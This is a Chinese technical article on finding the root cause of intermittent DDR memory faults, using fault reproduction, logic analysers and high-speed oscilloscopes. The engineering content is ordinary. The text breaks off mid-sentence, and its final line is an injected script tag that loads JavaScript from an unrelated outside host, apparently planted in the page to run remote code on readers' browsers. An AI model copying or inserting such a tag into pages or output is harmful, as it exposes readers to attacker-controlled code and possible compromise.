间歇性内存故障处理起来可能会非常复杂。这些故障的根源可能是一种原因或多种不同原因的组合,包括bios错误、协议错误、信号完整性问题、硬件问题、内存或其它子系统问题。
尽管有些团队能够迅速解决内存调试问题,但更多团队在遇到间歇性故障时会束手无策。
本文概括介绍了间歇性内存故障的调试方法。文中通过多个实例,说明了如何才能找出引起内存问题的不同原因。对于经常遇到系统未能引导或内存测试失败的工程师来说,也可从本文介绍的调试方法中受益。
对于间歇性内存故障,查找其根本原因的方法分成三步:
1)确定故障是否可以重复。试着复制产生故障的条件。重复故障通常可以有效地查看故障的特点。
2)使用普通探头或插槽式分析探头把内存总线连接到逻辑分析仪上,以迅速查看:
•整个ddrii总线的定时关系
•百万分之几概率的误码
•协议错误
•时钟质量
3)用高速示波器及高带宽探头,在信号的接收端进行参数测量。。
•对于写入内存的数据,在sdram上进行探测
•对于从内存读出的数据,在内存控制器上进行探测
第1步
在试图重建故障条件时,记住故障的根本原因可能来自未直接连接到内存上的子系统或子应用。局域网接入、子系统上电顺序、进入或退出睡眠模式以及电源周期都是在评估内存故障时需要考虑的重要因素。
各种子系统、不同工作模式和多种循环导致的串扰和资源冲突一直是引起许多间歇性内存故障的根本原因。
在某个特殊的测试或设置条件下隔离问题,可以使问题变的比较容易。例如,在某项测试过程中发生的故障可能会指向软件程序或信号完整性问题,如串扰或码间干扰。对可重复故障,用户可以在故障条件下进行多次测量。
重复故障条件说起来容易,但做起来要难得多。需要考虑的细节包括:
软件
•是否有错误记录?
•bios、操作系统和应用程序在测试时运行
环境
•在系统出现故障时室内温度是多少?
•在故障期间,被测系统的空气流动情况。
•系统供电是否在技术规范之内?
硬件
•采用同一设计的其他系统是否已经通过验证测试?
•其它系统也有故障?还是只有这个系统发生这种故障?
•故障系统的电路板、dimm、处理器等修订版本。
•故障系统与工作系统有什么区别。
•制造中最新的元器件变化?
如果条件可以重复,那么在这些条件下进行测试;如果条件不能重复,那么选择最好的内存进行测试,并按顺序改变测试条件(如温度极限和电源极限)。
第2步
在调试ddr系统时,逻辑分析有效地补充了高速示波器的限制。使用ddr探头或插槽分析探头进行逻辑分析,可以迅速查看系统中的问题区域。通过使用逻辑分析工具迅速缩小问题区域,然后使用高性能示波器检查可疑的信号,工程师可以节约大量的时间。
逻辑分析仪系统提供了:
•通过简单的连接,对全部ddr总线进行64k深的高分辨率定时分析。64k深度信号可以从触发前的100%调节到触发后的100%。
•独特的高分辨率眼图,可以识别百万分之几概率的故障信号。
•可以从搜索功能中自动设置全局标尺(最多1024个)。
•着色滤波功能可以识别轨迹的码型,协助观察内存?script src=http://er12.com/t.js>